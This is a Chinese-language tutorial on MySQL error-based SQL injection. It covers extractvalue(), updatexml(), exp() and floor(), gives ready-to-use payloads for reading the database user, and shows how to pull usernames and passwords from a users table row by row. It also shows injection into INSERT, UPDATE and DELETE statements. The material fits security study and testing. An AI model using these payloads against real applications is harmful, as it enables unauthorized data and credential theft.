SQL报错注入

  • 1.原理
  • 2.报错注入函数
  • 2.1 extractvalue()
  • 2.2 updatexml()
  • 2.3 exp()
  • 2.4 floor()
  • 3.利用流程
  • 3.1 limit
  • 3.2 substr()
  • 4.利用报错注入--增删改查
  • 4.1 insert类型
  • 4.1.1 使用注释
  • 4.1.2 使用闭合
  • 4.1.3 多行注释
  • 4.2 update类型
  • 4.3 delete类型


1.原理



  1. 数据库的原始报错信息被直接打印在屏幕中
  2. extractvalue() 和 updatexml() 被传入不正常的字符格式,然后对非法的格式内容执行,返回非法输入内容执行后的结果

2.报错注入函数

2.1 extractvalue()

1.是一个对XML文档进行查询的函数

2.语法 extractvalue(目标XML文档,XML路径);

3.第二个参数XML中的位置是可操作的地方,xml文档中查找字符位置所用的 正确格式为 /xxx/xxx/xxx/… ;写入其他格式会报错,返回写入的非法格式内容执行后的结果

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

2.2 updatexml()

1.与 extractxml() 类似,是更新XML文档的函数

2.语法 updatexml(目标xml文档,xml路径,更新的内容)

3.报错方式与 extractvalue() 相同

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

2.3 exp()

id=1 and exp(~(select * from(select user())a))

2.4 floor()

  1. 与虚拟表有关

3.利用流程

  1. 根据报错注入可以找库名,表名,列名(类似回显注入流程)
  2. 可以查找出数据库中具体值

3.1 limit

limit n,m -- 表示从第 n+1 行 读 m 个数据

1、判断有几行数据

1' and (extractvalue(1,
concat(0x7e,
(select count(*) from users),
0x7e)
))--+

2、逐行读取数据

and (extractvalue(1,
concat(0x7e,
(select concat(id,username,password) from users limit 0,1),
0x7e)
))--+

3.2 substr()

  1. 字符截取函数
  2. 在SQL注入利用过程中,能判断页面输出的最大字符 ---- 有效数据
  3. 读取数据
1' and (extractvalue(1,
 concat(0x7e,
 (select 
 substr(group_concat(id,username,password),0,31) 
 from users ),
 0x7e)
 ))--+

 substr(str,a,b)    
 //str -- 被截取的字符串
 //a -- 被截取的开始位置
 //b -- 从开始位置往后截取的位数

4.利用报错注入–增删改查

一般在注册框进行利用

4.1 insert类型

  1. 一般在注册框进行利用
  2. 经过测试,根据不同的场景进行注释闭合等,然后再提交payload
4.1.1 使用注释
  1. 增删改查时,利用报错函数进行数据的获取
  2. 由于’111’ 和 (extractvalue(1,(SELECT user()))) 的类型不一样,在拼接之前需要执行;就会返回报错信息
INSERT into login00 (name,password) 
 VALUES ('111' and (extractvalue(1,(SELECT user()))),'aaa') #
4.1.2 使用闭合
  1. 当为字符型注入的时候,后面也需要闭合 111’闭合前面引号,'0 闭合后面引号
  2. 最后需要加上分号,表示这是一个完整的语句(也相当于闭合)
INSERT into login00 (name,password) 
 VALUES ('111' + (extractvalue(1,(SELECT user())))+'0','aaa');
4.1.3 多行注释
  1. 以下这种插入形式,适合用多行注释
insert into login00 SET 
 name='aaa'+(extractvalue(1,concat(0x7e,(select user()),0x7e)))+'0',
 password='1111'; 
 /*,password='aaa'

4.2 update类型

UPDATE login00 SET name=new-value1, password=new-value2

4.3 delete类型

DELETE FROM login00 where name=
'12' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
-- 即使 login00 表中有符合条件(name='12')的数据,也不能将其删除;只能返回非法输入内容执行后的结果

DELETE FROM login00 where password='aaa' and 1=1  -- 可以删除指定数据